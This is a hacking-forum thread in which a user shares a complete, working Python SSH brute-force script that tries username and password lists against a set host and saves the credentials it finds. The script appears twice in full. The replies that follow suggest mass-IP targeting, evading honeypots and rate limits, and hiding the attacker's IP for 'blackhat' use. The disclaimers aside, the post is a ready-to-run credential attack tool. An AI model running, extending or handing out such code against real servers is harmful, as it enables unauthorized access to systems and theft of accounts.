[Dalls30]

Hey ! I've made a quick ssh bruteforce script. It's really not a big script but it help for beginner to understand quickly how bruteforcing work.
I think i'm gonna maybe add multithreading so if you want update feel free to ask or go to my github (https://github.com/Stunkz).

Here's my code :

Code

import paramiko

# This program is a simple brute force attack on a SSH server.
# It will try to connect to the server using a list of users and passwords.
# It's a simple program and it's not very efficient, but it's a good example of how a brute force attack works.
# Don't use this program to attack any server, it's illegal and unethical. This program is for educational purposes only.
#
# Made by Stunkz on Github ( https://github.com/Stunkz )
#

# MODIFY THESE VARIABLES TO MATCH TO YOUR NEEDS.


HOST = '127.0.0.1' # The IP address of the server you want to attack

USERS_LIST = ['root', 'admin', 'user', 'test', 'cia'] # The list of users you want to try. Can be a link to a file. ( e.g. 'users.txt')
PASSWORDS_LIST = ['test', 'password', '123456', 'top_secret_chhh...'] # Same. Can be a link to a file. ( e.g. 'passwords.txt')

CONTINUE_ON_SUCCESS = False # If True, the program will continue to try to connect to the server even if it found the right user/password combination.

SAVE_FAIL = True # If True, the program will save the results in a file.
SAVE_FAIL_FILE = 'log.txt' # The name of the file where the program will save the failed attempts. it can be a path. ( e.g. 'logs/log.txt')
SAVE_SUCCESS = False # If True, the program will save the successful attempts in a file.
SAVE_SUCCESS_FILE = 'success.txt' # Same. ( e.g. 'logs/success.txt')

def try_connect(user, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(hostname=HOST, username=user, password=password)
        return True
    except:
        return False

def main():

    for user in USERS_LIST:
        for password in PASSWORDS_LIST:

            print(f'Trying user: \033[33m{user}\033[00m with password: \033[33m{password}\033[00m')

            if try_connect(user, password):

                print(f'\033[33mUser: \033[91m{user}\033[33m Password: \033[91m{password}\033[33m worked\033[00m')

                if SAVE_SUCCESS:
                    with open(SAVE_SUCCESS_FILE, 'a') as f:
                        f.write(f'User: {user} Password: {password}\n')

                if CONTINUE_ON_SUCCESS:
                    continue
                return

            if SAVE_FAIL:
                with open(SAVE_FAIL_FILE, 'a') as f:
                    f.write(f'User: {user} Password: {password} Failed\n')

if __name__ == '__main__':
    if type(USERS_LIST) == str:
        with open(USERS_LIST, 'r') as f:
            USERS_LIST = f.read().splitlines()
    if type(PASSWORDS_LIST) == str:
        with open(PASSWORDS_LIST, 'r') as f:
            PASSWORDS_LIST = f.read().splitlines()
    main()

Feel free to give me feedbacks.

Do not use this program on ssh server that aren't your own. The law is strict about that. Make sure to double check the HOST setting.
The law does not differentiate between involuntary attacks and intentional attacks.

Be safe.
Peace out ✌

[vngamekit]

Looks ok but would def recommend adding threading and cl arguments, Maybe even a mass ip attacker?

[KanedaKing]

Looks pretty interesting, I think I’ll check it out, thanks

[1NF4MOUS]

hello i would like your help in something u can get paid for it Content deleted to prevent possible harm to our members. -Staff

The member who made this post was warned. In some way it violates our rules or policies.
Please familiarize yourself by reading our Help Documents.

[DramaKing]

This will fail because of rate-limiting. David Bombal's script accounts for this.

[decrypt187]

Hey ! I've made a quick ssh bruteforce script. It's really not a big script but it help for beginner to understand quickly how bruteforcing work.
I think i'm gonna maybe add multithreading so if you want update feel free to ask or go to my github (https://github.com/Stunkz).

Here's my code :

Code

import paramiko

# This program is a simple brute force attack on a SSH server.
# It will try to connect to the server using a list of users and passwords.
# It's a simple program and it's not very efficient, but it's a good example of how a brute force attack works.
# Don't use this program to attack any server, it's illegal and unethical. This program is for educational purposes only.
#
# Made by Stunkz on Github ( https://github.com/Stunkz )
#

# MODIFY THESE VARIABLES TO MATCH TO YOUR NEEDS.


HOST = '127.0.0.1' # The IP address of the server you want to attack

USERS_LIST = ['root', 'admin', 'user', 'test', 'cia'] # The list of users you want to try. Can be a link to a file. ( e.g. 'users.txt')
PASSWORDS_LIST = ['test', 'password', '123456', 'top_secret_chhh...'] # Same. Can be a link to a file. ( e.g. 'passwords.txt')

CONTINUE_ON_SUCCESS = False # If True, the program will continue to try to connect to the server even if it found the right user/password combination.

SAVE_FAIL = True # If True, the program will save the results in a file.
SAVE_FAIL_FILE = 'log.txt' # The name of the file where the program will save the failed attempts. it can be a path. ( e.g. 'logs/log.txt')
SAVE_SUCCESS = False # If True, the program will save the successful attempts in a file.
SAVE_SUCCESS_FILE = 'success.txt' # Same. ( e.g. 'logs/success.txt')

def try_connect(user, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(hostname=HOST, username=user, password=password)
        return True
    except:
        return False

def main():

    for user in USERS_LIST:
        for password in PASSWORDS_LIST:

            print(f'Trying user: \033[33m{user}\033[00m with password: \033[33m{password}\033[00m')

            if try_connect(user, password):

                print(f'\033[33mUser: \033[91m{user}\033[33m Password: \033[91m{password}\033[33m worked\033[00m')

                if SAVE_SUCCESS:
                    with open(SAVE_SUCCESS_FILE, 'a') as f:
                        f.write(f'User: {user} Password: {password}\n')

                if CONTINUE_ON_SUCCESS:
                    continue
                return

            if SAVE_FAIL:
                with open(SAVE_FAIL_FILE, 'a') as f:
                    f.write(f'User: {user} Password: {password} Failed\n')

if __name__ == '__main__':
    if type(USERS_LIST) == str:
        with open(USERS_LIST, 'r') as f:
            USERS_LIST = f.read().splitlines()
    if type(PASSWORDS_LIST) == str:
        with open(PASSWORDS_LIST, 'r') as f:
            PASSWORDS_LIST = f.read().splitlines()
    main()

Feel free to give me feedbacks.

Do not use this program on ssh server that aren't your own. The law is strict about that. Make sure to double check the HOST setting.
The law does not differentiate between involuntary attacks and intentional attacks.

Be safe.
Peace out ✌

thanks for sharing might check it out

[makvanpor]

Thanks for share is there any new updated one and instructions to follow

[Dalls30]

hello i would like your help in something u can get paid for it [deleted] [warn]

Hey thanks but i don't accept paiment you can just ask me and i will see what i can do to help you.

---

This will fail because of rate-limiting. David Bombal's script accounts for this.

Thank you for helping me and telling me what is wrong with my script. Well for sure i know that my script is far from efficient but you know i just wanted to make a simple python script.

[yyy0]

nice i will try to compile it with python3.

[Mitko]

nice, thanks for the code

[barbel]

It's an attractive script, but I suggest we build one in go together, which avoids honeypots and etc. I think we can succeed.

[zeealive]

This is just a playground tool. It is good that you said it too. This tool can´t do real damage, but is great for beginners who are learning what example SSH server even means.

[dmitriblovv]

This will fail because of rate-limiting. David Bombal's script accounts for this.

he would have avoided rate-limiting if he used a better architecture. also, when it comes to blackhat bruteforcing tool then making sure the client IP doesn't leak becomes paramount.

[RayanParkTsoy]

he would have avoided rate-limiting if he used a better architecture. also, when it comes to blackhat bruteforcing tool then making sure the client IP doesn't leak becomes paramount.

What is the scope of Python in terms of cybersecurity? I mean, is it possible to use this tool to somehow hide your identity online as much as possible?

[dmitriblovv]

What is the scope of Python in terms of cybersecurity? I mean, is it possible to use this tool to somehow hide your identity online as much as possible?

no it's not, but the tool itself can be built to hide the IP where the attack is originating from. but that's if it was a blackhat tool because naturally alot of libraries out there don't shield hackers